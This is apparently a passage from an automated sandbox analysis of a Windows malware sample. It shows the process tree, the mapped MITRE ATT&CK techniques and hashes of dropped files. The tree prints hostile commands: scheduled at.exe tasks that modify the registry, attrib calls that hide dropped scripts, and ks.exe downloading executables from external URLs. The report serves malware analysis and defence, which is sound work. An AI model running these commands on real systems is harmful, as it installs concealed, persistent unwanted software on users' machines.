      at 14:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
      4⤵
      PID:2264
  - - C:\Windows\SysWOW64\at.exe
      at 17:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
      4⤵
      PID:368
  - - C:\Windows\SysWOW64\at.exe
      at 21:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
      4⤵
      PID:1244
  - - C:\Windows\SysWOW64\at.exe
      at 23:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
      4⤵
      PID:3224
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C .\360.cmd
    3⤵
    - Drops file in Program Files directory
    PID:4884
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C .\fav.cmd
    3⤵
    - Drops file in Program Files directory
    PID:880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C .\copy.cmd
    3⤵
    - Drops file in Program Files directory
    PID:2132
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +h +s "C:\Program Files\software\Microsoft\win.vbs"
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:1724
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +h +s "C:\Program Files\software\fav\fav.cmd"
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:3480
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +h +s "C:\Program Files\software\360SE.vbs"
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:4116
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +h +s "C:\Program Files\software\36OSE.vbs"
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:4364
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +h +s "C:\Program Files\software\tool.cmd"
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:776
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +h +s "C:\Program Files\software\360.cmd"
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:4084
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +h +s "C:\Program Files\software\361.cmd"
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:3632
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C .\cpa.cmd
    3⤵
    PID:3636
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\msn2.exe
      ".\msn2.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:1896
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\ks.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\ks.exe" "http://download.youbak.com/msn/software/partner/37a.exe"
        5⤵
        Executes dropped EXE
        
        PID:2480
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\ks.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\ks.exe" "http://soft.softdowns.info/install/YoudaoDict_zhusha_quantui_004.exe"
        5⤵
        Executes dropped EXE
        
        PID:2396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\360.cmd

Filesize
1KB

MD5
ff9a3f5f87b9227acdf8c08482bd722a

SHA1
140a90a6f122c482aad0534f86c4939923807ccd

SHA256
a70d151c858a9ce50846784db0a8af1ce33949a6c9ab7da5f15b7fefc7b4582f

SHA512
c1c28a77aee5b026576fe6b87da51233039a261a57f1b8f844db4115f50b982d70ab0ca31a739281ecc76f1cc10655f242870963de0a72c7360f44aa8304d4eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\360SE.vbs

Filesize
185B

MD5
d6de13a28f0fd2b22fc3f6775713c8c0

SHA1
d37a413584abb57756f25d4717b574aa1a720f94

SHA256
f08f5b3b06992201ee98a5b46b4c068862a1d7d2ddd029e64239ba9ac8af65c4

SHA512
0256e8e2be5800238c5530d5d0cb52b732e0cd90a5289256eb1b7394c526d9f33d454df44bced61a9d585db58215f308cb9e6d3a0fb6e6294e6e4df70aa4a1a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\361.cmd

Filesize
408B

MD5
26cace2b8c69829f156e2e5a8e875166

SHA1
1acaafb935e4f3b0fc9bb452824085ec7cc6250f

SHA256
ecb5eaf3fd58b904da93ad5fa9e99b3c83d3ddaa1f252b23514c458ffa90d992

SHA512
025c6a31813b36795d69bbeea504898b4ac96a03cd159c673c2b9955c0715361068cea907a2ba8d2e80dbc25695268bb23b1c8113fc36e227a05b71bb30ef171

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\36OSE.vbs

Filesize
172B

MD5
a1bfbf3ce817483ea56c95034f104722

SHA1
8a281a1bfe6f0dcc2bee2a57ee16de0f54188517

SHA256
22c69237eafbe4a18920c59fe7bf0be0f648f6b6a5e02d645ce9af7c4f00cdd9

SHA512
c3e6203dbb595dba2d008c02fb29b31837ae87039159d7f16ffc4e04bea594a773738577ca09331041f0591dc2726d25857dbdf77597999131937317d4b03437

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Internet Expl0rer.lnk

Filesize
104B

MD5
f8d9537b38d1ca9dd96796e0e4259e2d

SHA1
3d1a69967051482d528a357095f0e3b146490256

SHA256
7630b4987c74a6607b64aec726d7f0f2bf4f48793e88463d54f50be34a38d6ad

SHA512
f0ac037196a0f6c7a1c9e976cca1f361179dcbb92f25787fd48b3453d043089f2f0ed970d7da44e5f935991ba697827bc24a7957973908cd91525d4a2c53a319

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\copy.cmd

Filesize
2KB

MD5
d561f3dafa5d4501fcc9683c335e5ae7

SHA1
c18c49345bd8b29cde2abde6b057cc09d1720ac3

SHA256
74d356b1bcef9f828fef448fc10317aa298ed828ecd1975156cdecd41724afdd

SHA512
a1065d2f4d637256db40a55069a7714be8ab2c3f23c508ebdcaefbfa215300e57a8c27db836da98e8b1d1e8b369a2690dc322d194ac89cc604534aa1313eaf5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\cpa.cmd

Filesize
38B

MD5
883684f4988ab30ec46bdf60e98bced1

SHA1
603c8d92f9ebc294f8c217001b9a4bea69fb4b6a

SHA256
a2a1ed2b32284627d4daceae32b5eb70b2ce3abbd2d27cc1e2643b922fe88001

SHA512
6f4a3265f6eb793a604f043a97a3d62f51ae287507c7973b2c3234b645827d4c2c192cf4ebf75b31f529d2e559c932b9c0efcc38ac4eeb7c8bcb1483a414ee14

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\dodo.vbs

Filesize
872B

MD5
b14edccbff6659d1517131d881e1f27c

SHA1
5e8de433038c86b369ffed5100c1766e21609aeb

SHA256
e968464c26d1c7b4777c350c4741a5bf82b0b88140268eccc3ebb5be581d62e9

SHA512
45268dbe29f0e932a1f1ff08df7e4d24e3febb8631627acdd9a3bb6ff2ab08f049b7a789c399f3cef3d82cc643f88acf4391542808c8d42f7932ef34def9d2c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\fav.cmd

Filesize
326B

MD5
29c044a690d5494a121d7a6b6d30da3d

SHA1
c2e78d6813912c0d5a891ca8f66fe3bfd050ab9a

SHA256
978de380212914478b05d3196d9bedce918b763059d94bca1c5e2b0adc094abe

SHA512
a928b5742c57b4c2e95d1231ca418256bba240274e072f9bf1388aba9d5d1dfe93f3e1044acac13d41f02c2c68912d910fd74a9966271fa08e3ff59b796ad826

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\msn2.exe

Filesize
303KB

MD5
f0489bc38e4d8c6df4c722da572be409

SHA1
4c35c622455aca23188fed347b20cfc095b11349

SHA256
77a29bdd8236c32712c3b1ba7cf535da5c56a2dbb0565d9e0fcc930f650df2cb

SHA512
8954d81f54532283cfe3c6ddb08fbdc1efda4b5812a1288767f5ebd67ed63e0b2e78e96806f963825ab15156940bb47c8d817c72ab7da8f3b7f92b8e6f4c07fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\runonce.cmd

Filesize
1KB

MD5
f8a56c9523b40d30a6c7d3fdd0596c41

SHA1
0ec063d849ee945a3786861ab6bcdeb2490f78a3

SHA256
63f22fb34c55f0e3c819fbbcdf78211a6d554408657f4790dbf0c6ec9e119755

SHA512
f01f87da52c90ca5578b8526df998665719a895d26dd645b04d15694c631b83afa91837c049e775b1b2994322f9a33b5f340a5844efb9fd64e20c26dd12d27d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup_free_ok.vbs

Filesize
1KB

MD5
a50d6ac0ebcf0ad7e7ff62bdd4d3a472

SHA1
590e4bc339f6380daeab354bb86825a413d556cf

SHA256
b8e81550a4df07d5e146a791dbfddaf1c0a6a02ac25417973f2c7599d594f611

SHA512
a4e1a9d13567ea49c03ee9cebda295fe2c383f60fa65ac436b11241208df50aca608e5182d03ec72da2f218ace8fc7888c4d0e9024a24f64821b8f0d8b58476e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\software.vbs

Filesize
996B

MD5
c5117f8d68f5315ae984e057e7ea44a5

SHA1
c216931e5dd658ee879c1abdba845a6b2d19983c

SHA256
b35914093751954a49b23f824742feb11827fcc4bcf4750ac29aaed892f0bb8a

SHA512
2cf86754fc35c38402ee16c4507a693b67743064100eb38fdeff79de72343fbcca6a3312a414337058efa914b341136a86bb894761c4c36dac565994d3094d6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\tao.ico

Filesize
16KB

MD5
4a085369ed417129dbf07e9c2dbe06bc

SHA1
0bcb813686eccf8cdc7921232fd3ff6c2a023af8

SHA256
c6031d14a1e77542c3c46941d3c296e81206e6f2bc09c4b621a66732ae80e6dc

SHA512
0539d5b4cd84a8f5964f9fb63f22b5b87fc31ae50239bcf3fd431db8a29c15f333f004b31c98fd10d965aa1b3b999f92bf7222286a64fec627aa770954515892

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\tj.cmd

Filesize
1KB

MD5
3ed9a0c6984ea5e46491d42c0b5a52c9

SHA1
e57ed1a7aec9e68b1f9fabf4566bda71093198c7

SHA256
fa3971f08941880b78314e12e9df13608b99021df1b5e6245f50ffedc918dce7

SHA512
f4f0e363d37e97d5f5addba4b5003e927788273799eb6f6cd5ceaaa9fa85acce189220321f5f1fd2af97e4a64cc79ffe0f1439ee781a6c56ef72779b67103c04

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\tool.cmd

Filesize
3KB

MD5
d6dd4c0778ad81c2c1aaf374215197b0

SHA1
66955616f3dbaa5f0412fa942c9f86d0d95558a0

SHA256
053280d7542c1c4a3972b714dbf19199d39a79f21ca49715014790c2cd8d5173

SHA512
d6703b3ec2c6603473f8ae89ad248f6eea53c93e66dc2a0e9b52272c397ae0684b7bf32ddf097aa849b2d3bba10620e8d8095ff2f40bb03890f011096fc1395f

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\win.vbs

Filesize
156B

MD5
831c22d06a7d882ba0744682617d20b3

SHA1
f4d1cc7841f67b41e9abe23b9b3ad0a70ab688ad

SHA256
d87f839f92f936a75b40c7ba66d144c376bf633f742cdf679a907ba02c704312

SHA512
66ad58658bceb7bdde5c1649701b8187b090595da87d6faefafa1dfe8ab0bade13e672c5549381135696b59f6b0df98dcdf8896e69306629acbf20a1e19d3ed3

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\ks.exe

Filesize
493KB

MD5
adb777c5bdaf9587960a403f4d5455d1

SHA1
cd5308955baf629b11f886fa656baf03227b9b11

SHA256
98f7a5a408d676788eb894080ab3a874c0ed8d4a692167c929ea09b25d733b59

SHA512
ec968c076a8a7349fb3ed750765dc95886b43c45611d6ef87f0685e41e20efd186d63256a17ff7f2a51ae8151922764fd0f4ce7ddcdcb3ac8f02df9c30ad2e38

Download Submit
memory/1896-113-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download
memory/2396-112-0x0000000001FE0000-0x0000000001FE1000-memory.dmp

Filesize
4KB

Download
memory/2396-114-0x0000000000400000-0x0000000000481000-memory.dmp

Filesize
516KB

Download
memory/2480-109-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/2480-110-0x0000000000400000-0x0000000000481000-memory.dmp

Filesize
516KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads